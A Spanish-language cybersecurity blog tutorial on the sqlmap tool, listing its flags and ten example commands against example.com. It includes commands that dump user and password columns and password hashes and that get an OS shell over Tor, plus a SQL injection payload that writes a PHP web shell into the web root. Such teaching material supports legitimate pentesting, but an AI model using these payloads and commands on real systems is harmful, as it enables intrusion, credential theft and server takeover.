Skip to main content
  1. Blog de ciberseguridad/

Sqlmap

·602 words·3 mins· ·
SQL SQL Map SQL Injection
Fouen
Author
Fouen
Soy un joven informatico interesado en la ciberseguridad
Table of Contents

¿Que es?
#

SQLMap es una herramienta de código abierto diseñada para automatizar la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Esta poderosa herramienta es utilizada por pentesters y profesionales de la ciberseguridad para evaluar la seguridad de aplicaciones que interactúan con bases de datos.

Aquí podrás ver cómo se puede usar esta herramienta:

Parámetros
#


Parámetros generales
#

-u 'http://': Pasar la URL

--cookie "PHPSESSID=": Pasarle la cookie de sesión

--random-agent: Usa un User-agent aleatorio

--proxy (proxy): Pasarle un proxy

--tor: Usa una red Tor

--dbms database_type: Si sabes que tipo de base de datos esta por detrás se lo puedes indicar

--batch: Que el programa no te pregunte


Parámetros de Detección
#

--level (level_number): Define la cantidad de pruebas que SQLMap llevará a cabo en cada parámetro

--risk (risk_number): Define el riesgo asociado a las pruebas que SQLMap realiza. A medida que incrementas el riesgo, SQLMap ejecuta técnicas de inyección más agresivas y potencialmente destructivas


Parámetros de Selección
#

-D database_name: Con esto seleccionas la base de datos que quieres dumpear

-T table_name: Con esto seleccionas la tabla que quieres dumpear

-C column_name: Con esto seleccionas la tabla que quieres dumpear


Parámetros de Enumeración
#

--tables: Enumerar las tablas

--dbs: Enumerar bases de datos en uso

--columns: Enumerar columnas

--dump: Enumerar data

-a, --all: Enumera todo     -b, --banner: Enumera el banner de la base de datos     --current-user: Enumera el usuario en uso    --current-db: Enumera la base de datos en uso     --passwords: Enumera los hashes de las contraseñas de los usuarios


--os-shell: Obtener una shell del sistema operativo a través de una vulnerabilidad de inyección SQL

Este parametro funciona más o menos de esta manera:

' union select NULL,"<?php system($_GET['cmd']); ?>",NULL into outfile "/var/www/html/malicious.php"-- -

Esta vulnerabilidad permite a un atacante escribir un archivo PHP malicioso en el servidor para ejecutar comandos del sistema operativo

--os-pwn: Busca obtener una shell, Meterpreter o VNC a través de un canal Out-Of-Band (OOB)


No estan todos los parametros he puesto los que considero mas esenciales

Ejemplos de uso
#

Ejemplo 1: Enumerar todas las tablas en una base de datos específica usando un User-agent aleatorio y pasando una cookie de sesión:

sqlmap -u 'http://www.example.com/page.php?id=1' --random-agent --cookie "PHPSESSID=abcdef123456" -D mydatabase --tables

Ejemplo 2: Enumerar todas las tablas en una base de datos específica con nivel de prueba 3 y riesgo alto, utilizando un proxy para la conexión:

sqlmap -u 'http://www.example.com/page.php?id=1' --level=3 --risk=3 --proxy http://localhost:8080 -D mydatabase --tables

Ejemplo 3: Obtener una shell del sistema operativo y utilizar Tor para realizar el escaneo:

sqlmap -u 'http://www.example.com/page.php?id=1' --os-shell --tor

Ejemplo 4: Enumerar todos los datos y guardar la salida en un archivo específico:

sqlmap -u 'http://www.example.com/page.php?id=1' -a --output-file=sqlmap_results.txt

Ejemplo 5: Enumerar todas las bases de datos:

sqlmap -u 'http://www.example.com/page.php?id=1' --dbs

Ejemplo 6: Enumerar el banner de la base de datos y el usuario actual utilizando un User-agent aleatorio:

sqlmap -u 'http://www.example.com/page.php?id=1' -b --current-db --current-user

Ejemplo 7: Enumerar hashes de contraseñas de usuarios:

sqlmap -u 'http://www.example.com/page.php?id=1' --passwords

Ejemplo 8: Enumerar 2 columnas en especifico de una tabla y base de datos especifica:

sqlmap -u 'http://www.example.com/page.php?id=1' -D mydatabase -T table -C user,password --dump

Ejemplo 9: Enumerar todo, incluyendo el banner de la base de datos, usuario actual y hashes de contraseñas:

sqlmap -u 'http://www.example.com/page.php?id=1' -a -b --current-user --passwords

Ejemplo 10: Enumerar todas las bases de datos y luego todas las tablas y columnas de una base de datos específica, utilizando una cookie y Tor:

sqlmap -u 'http://www.example.com/page.php?id=1' --dbs --tables --columns -D testdb --cookie "PHPSESSID=abcdef123456" --tor
Hay infinidad de usos estos son solo unos cuantos

Espero que os sirva para entender mejor como utilizar esta herramienta.